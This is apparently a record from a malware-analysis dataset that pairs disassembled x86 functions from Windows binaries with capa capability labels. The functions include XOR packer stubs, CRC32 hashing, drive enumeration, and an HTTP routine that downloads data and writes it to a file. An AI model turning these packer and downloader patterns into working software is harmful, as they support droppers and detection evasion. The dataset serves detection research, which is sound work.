joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x4b3c2aeb
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x2516413b
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x404540
Capabilities:
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x404547
xor eax, eax
ret
mov eax, dword [esp + 4]
jmp fcn.00404550
Function at 0x404550
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, edx
test esi, esi
not eax
je 0x404582
lea esp, [esp]
test cl, 3
je 0x404582
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x429718]
add ecx, 1
sub esi, 1
jne 0x404560
cmp esi, 0x20
push ebx
push edi
jb 0x40476c
mov edi, esi
shr edi, 5
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x429b18]
xor edx, dword [ebx*4 + 0x429f18]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x429718]
add ecx, 4
xor edx, dword [eax*4 + 0x42a318]
add ecx, 4
xor edx, dword [ecx - 8]
add ecx, 4
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x429b18]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x429f18]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x429718]
add ecx, 4
xor eax, dword [edx*4 + 0x42a318]
add ecx, 4
xor eax, dword [ecx - 0x10]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x429b18]
xor edx, dword [ebx*4 + 0x429f18]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x429718]
xor edx, dword [eax*4 + 0x42a318]
xor edx, dword [ecx - 0xc]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x429b18]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x429f18]
mov ebx, edx
and edx, 0xff
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x429718]
xor eax, dword [edx*4 + 0x42a318]
xor eax, dword [ecx - 8]
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x429b18]
xor edx, dword [ebx*4 + 0x429f18]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x429718]
xor edx, dword [eax*4 + 0x42a318]
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x429b18]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x429f18]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x429718]
and edx, 0xff
xor eax, dword [edx*4 + 0x42a318]
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x10
movzx ebx, ah
and edx, 0xff
mov edx, dword [edx*4 + 0x429b18]
xor edx, dword [ebx*4 + 0x429f18]
mov ebx, eax
and eax, 0xff
shr ebx, 0x18
xor edx, dword [ebx*4 + 0x429718]
add ecx, 4
xor edx, dword [eax*4 + 0x42a318]
sub esi, 0x20
xor edx, dword [ecx - 4]
mov eax, edx
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x429b18]
movzx ebx, dh
xor eax, dword [ebx*4 + 0x429f18]
mov ebx, edx
shr ebx, 0x18
xor eax, dword [ebx*4 + 0x429718]
and edx, 0xff
xor eax, dword [edx*4 + 0x42a318]
sub edi, 1
jne 0x404592
cmp esi, 4
jb 0x4047b9
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
add ecx, 4
mov edi, eax
shr edi, 0x10
and edi, 0xff
mov edi, dword [edi*4 + 0x429b18]
movzx ebx, ah
xor edi, dword [ebx*4 + 0x429f18]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x429718]
and eax, 0xff
xor edi, dword [eax*4 + 0x42a318]
sub esi, 4
sub edx, 1
mov eax, edi
jne 0x404776
test esi, esi
pop edi
pop ebx
je 0x4047dd
nop
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x429718]
add ecx, 1
sub esi, 1
jne 0x4047c0
not eax
pop esi
ret
Function at 0x407730
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42503b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42f4ec]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [0x431684]
xor ebx, ebx
cmp eax, ebx
jne 0x4077fc
push 0x28
mov dword [ebp - 4], ebx
call fcn.0040edd6
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
cmp esi, ebx
mov byte [ebp - 4], 1
je 0x4077a6
lea edi, [esi + 4]
mov ecx, edi
mov dword [esi], 0x40b9a0
call fcn.00406130
mov dword [edi + 4], eax
lea eax, [esi + 0x10]
push eax
mov dword [edi + 8], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x4077a8
xor esi, esi
cmp esi, ebx
mov edi, esi
jne 0x4077cb
jmp 0x4077c0
push 0x4263e8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x431684]
cmp edi, eax
je 0x4077f5
test eax, eax
mov esi, eax
je 0x4077f5
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [esi + 4]
call fcn.004017e0
push esi
call fcn.0040e776
add esp, 4
mov eax, edi
mov dword [0x431684], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b8b0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42564b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42f4ec]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [0x430950]
test eax, eax
jne 0x40b946
push 0x1d8
mov dword [ebp - 4], eax
call fcn.0040edd6
mov ecx, eax
add esp, 4
mov dword [ebp - 0x14], ecx
test ecx, ecx
mov byte [ebp - 4], 1
je 0x40b908
call fcn.0040c130
jmp 0x40b90a
xor eax, eax
test eax, eax
mov esi, eax
jne 0x40b92d
jmp 0x40b922
push 0x4263e8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x430950]
cmp esi, eax
je 0x40b93f
push eax
call fcn.0040e776
add esp, 4
mov eax, esi
mov dword [0x430950], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40bac0
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x42f4ec]
xor eax, esp
mov dword [esp + 0x94], eax
lea eax, [esp]
push eax
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x10], 2
jne 0x40bb19
mov eax, dword [esp + 4]
cmp eax, 5
jbe 0x40bb10
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.0040ea08
add esp, 0x98
ret
jne 0x40bb19
cmp dword [esp + 8], 0
ja 0x40baf6
mov ecx, dword [esp + 0x94]
xor ecx, esp
xor eax, eax
call fcn.0040ea08
add esp, 0x98
ret
Function at 0x40d7f0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x42f4ec]
xor eax, esp
mov dword [esp + 0x190], eax
xor ecx, ecx
mov ch, byte [esp + 0x19c]
lea eax, [esp]
push eax
mov cl, byte [esp + 0x19c]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.0040ea08
add esp, 0x194
ret

Function at 0x40d840
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x108
mov eax, dword [0x42f4ec]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
push edi
mov edi, dword [esp + 0x114]
push 0x104
lea eax, [esp + 0xc]
push 0
push eax
call fcn.0040f910
mov eax, dword [esp + 0x124]
add esp, 0xc
test eax, eax
jne 0x40d8a5
mov ecx, dword [str.c:ywSMP.log]
mov edx, dword [0x427250]
mov eax, dword [0x427254]
mov dword [esp + 8], ecx
mov cl, byte [0x427258]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], eax
mov byte [esp + 0x14], cl
jmp 0x40d8d1
cmp eax, 1
jne 0x40d8d1
mov edx, dword [str.c:GZdbg.log]
mov eax, dword [0x427240]
mov ecx, dword [0x427244]
mov dword [esp + 8], edx
mov dl, byte [0x427248]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov byte [esp + 0x14], dl
lea eax, [esp + 8]
push 0x426754
push eax
call fcn.0040fdc9
mov esi, eax
add esp, 8
test esi, esi
je 0x40d8f9
push esi
push edi
call fcn.004117c3
push esi
call fcn.0040f344
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x10c]
pop edi
pop esi
xor ecx, esp
call fcn.0040ea08
add esp, 0x108
ret

Function at 0x40ea08
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f4ec]
jne 0x40ea12
repz ret
jmp fcn.00415b21

Function at 0x410b96
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x410bc3
call fcn.00411792
mov dword [eax], esi
call fcn.0041177f
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040f8d7
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x410b9f
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410bf2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004117a5
pop ecx
call fcn.0041177f
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x410c19
test al, 1
je 0x410c19
test byte [esp + 0xc], 2
je 0x410c19
call fcn.00411792
mov dword [eax], 5
call fcn.0041177f
mov dword [eax], 0xd
jmp 0x410be9
xor eax, eax
pop esi
ret
Function at 0x410c31
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x410c6e
cmp dword [ebp + 0x14], edi
je 0x410c6e
cmp ecx, edi
jne 0x410c75
call fcn.0041177f
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0040f8d7
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x410c89
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x410caa
cmp ebx, 0xffffffff
je 0x410c99
push ebx
push edi
push ecx
call fcn.0040f910
add esp, 0xc
cmp esi, edi
je 0x410c56
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x410c56
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x410cc6
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x410ccd
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x410dbe
test word [esi + 0xc], 0x10c
je 0x410d21
mov eax, dword [esi + 4]
test eax, eax
je 0x410d21
jl 0x410e1f
cmp ebx, eax
mov edi, ebx
jb 0x410cf2
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x410dc6
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0040e98d
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x410db6
cmp ebx, dword [ebp - 0xc]
jb 0x410d8e
cmp dword [ebp - 0xc], 0
je 0x410d4b
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x410d40
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x410d47
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x410d56
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x410d56
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x410df2
push eax
push dword [ebp - 8]
push esi
call fcn.0041818b
pop ecx
push eax
call fcn.0041b60c
add esp, 0xc
test eax, eax
je 0x410e31
cmp eax, 0xffffffff
je 0x410e1f
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x410db6
push esi
call fcn.0041af2b
cmp eax, 0xffffffff
pop ecx
je 0x410e23
cmp dword [ebp - 4], 0
je 0x410df2
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x410cd5
mov eax, dword [ebp + 0x14]
jmp 0x410c70
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x410ddd
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.0040f910
add esp, 0xc
call fcn.0041177f
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x410c66
cmp dword [ebp + 0xc], 0xffffffff
je 0x410e08
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.0040f910
add esp, 0xc
call fcn.0041177f
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x410c66
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x410c70
or dword [esi + 0xc], 0x10
jmp 0x410e23
Function at 0x416100
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x42f720]
je 0x41611b
inc edi
cmp edi, 0x17
jb 0x41610c
cmp edi, 0x17
jae 0x41629b
push ebp
push 3
call fcn.0042040b
cmp eax, 1
pop ecx
je 0x416267
push 3
call fcn.0042040b
test eax, eax
pop ecx
jne 0x41614f
cmp dword [0x42f4e8], 1
je 0x416267
cmp ebx, 0xfc
je 0x41629a
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x430f68
push ebp
call fcn.00415c25
add esp, 0xc
test eax, eax
je 0x416185
push esi
push esi
push esi
push esi
push esi
call fcn.0040f7db
add esp, 0x14
push 0x104
mov esi, 0x430f81
push esi
push 0
mov byte [0x431085], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4161c9
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00415c25
add esp, 0xc
test eax, eax
je 0x4161c9
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040f7db
add esp, 0x14
push esi
call fcn.00411be0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x41620e
push esi
call fcn.00411be0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x43127c
push 0x428374
sub ecx, eax
push ecx
push eax
call fcn.0041cfc8
add esp, 0x14
test eax, eax
je 0x41620e
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0040f7db
add esp, 0x14
jmp 0x416210
xor esi, esi
push 0x428370
push ebx
push ebp
call fcn.0041cf57
add esp, 0xc
test eax, eax
je 0x416230
push esi
push esi
push esi
push esi
push esi
call fcn.0040f7db
add esp, 0x14
push dword [edi*8 + 0x42f724]
push ebx
push ebp
call fcn.0041cf57
add esp, 0xc
test eax, eax
je 0x416252
push esi
push esi
push esi
push esi
push esi
call fcn.0040f7db
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0042024e
add esp, 0xc
jmp 0x41629a
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41629a
cmp ebp, 0xffffffff
je 0x41629a
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x42f724]
push dword [esi]
call fcn.00411be0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x42024e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00415226
xor ebx, ebx
cmp dword [0x431658], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x420324
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x420404
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x429544
push edi
call esi
cmp eax, ebx
je 0x420404
push eax
call fcn.004151b8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431658], eax
call esi
push eax
call fcn.004151b8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43165c], eax
call esi
push eax
call fcn.004151b8
mov dword [0x431660], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00415854
test eax, eax
pop ecx
pop ecx
je 0x4202f2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040f7db
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x420324
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004151b8
cmp eax, ebx
pop ecx
mov dword [0x431668], eax
je 0x420324
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004151b8
pop ecx
mov dword [0x431664], eax
mov eax, dword [0x431664]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4203a9
cmp dword [0x431668], ecx
je 0x4203a9
push eax
call fcn.0041522f
push dword [0x431668]
mov esi, eax
call fcn.0041522f
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4203a9
cmp edi, ebx
je 0x4203a9
call esi
cmp eax, ebx
je 0x420376
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x420376
test byte [ebp - 0x18], 1
jne 0x4203a9
lea eax, [ebp - 0x10]
push eax
call fcn.0041588b
test eax, eax
pop ecx
je 0x420391
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040f7db
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4203a0
or dword [ebp + 0x10], 0x200000
jmp 0x4203e4
or dword [ebp + 0x10], 0x40000
jmp 0x4203e4
mov eax, dword [0x43165c]
cmp eax, dword [ebp - 8]
je 0x4203e4
push eax
call fcn.0041522f
cmp eax, ebx
pop ecx
je 0x4203e4
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4203e4
mov eax, dword [0x431660]
cmp eax, dword [ebp - 8]
je 0x4203e4
push eax
call fcn.0041522f
cmp eax, ebx
pop ecx
je 0x4203e4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431658]
call fcn.0041522f
cmp eax, ebx
pop ecx
je 0x420404
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x420406
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4010b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x104
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
push 0
push 0x26
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov esi, str.Internet_Exploreriexplore.exe
repne scasb al, byte es:[edi]
dec edi
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x401750
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x408
push ebp
push edi
xor edi, edi
push edi
push edi
push edi
push edi
push 0x4030a4
mov dword [esp + 0x1c], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
test ebp, ebp
je 0x401805
mov eax, dword [esp + 0x414]
push esi
push edi
push 0x4000000
push edi
push edi
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4017fd
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x3ff
push edx
push esi
call edi
lea eax, [esp + 0x18]
push str.OPENURLTOEAJEIADNIOQWDINQOER
push eax
call ebx
test eax, eax
je 0x4017e9
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x14]
test eax, eax
ja 0x4017bf
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [esp + 0x10]
pop ebx
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov eax, edi
pop edi
pop ebp
add esp, 0x408
ret
Function at 0x401810
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x40c
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push str.zwtqwe
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
push str.InternetOpenUrlA
push str.wininet.dll
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x41c]
push ebx
push 0x4000000
push ebx
push ebx
push ecx
push edi
call eax
mov esi, eax
cmp esi, ebx
jne 0x401874
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x40c
ret
mov edx, dword [esp + 0x420]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4018e6
push ebp
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push 0x400
push ecx
push esi
call ebp
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
ja 0x40189b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x18]
pop ebp
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x40c
ret

Function at 0x4019f0
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push esi
push eax
push 0
push 0
push 0x401900
push 0
push 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x12c
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret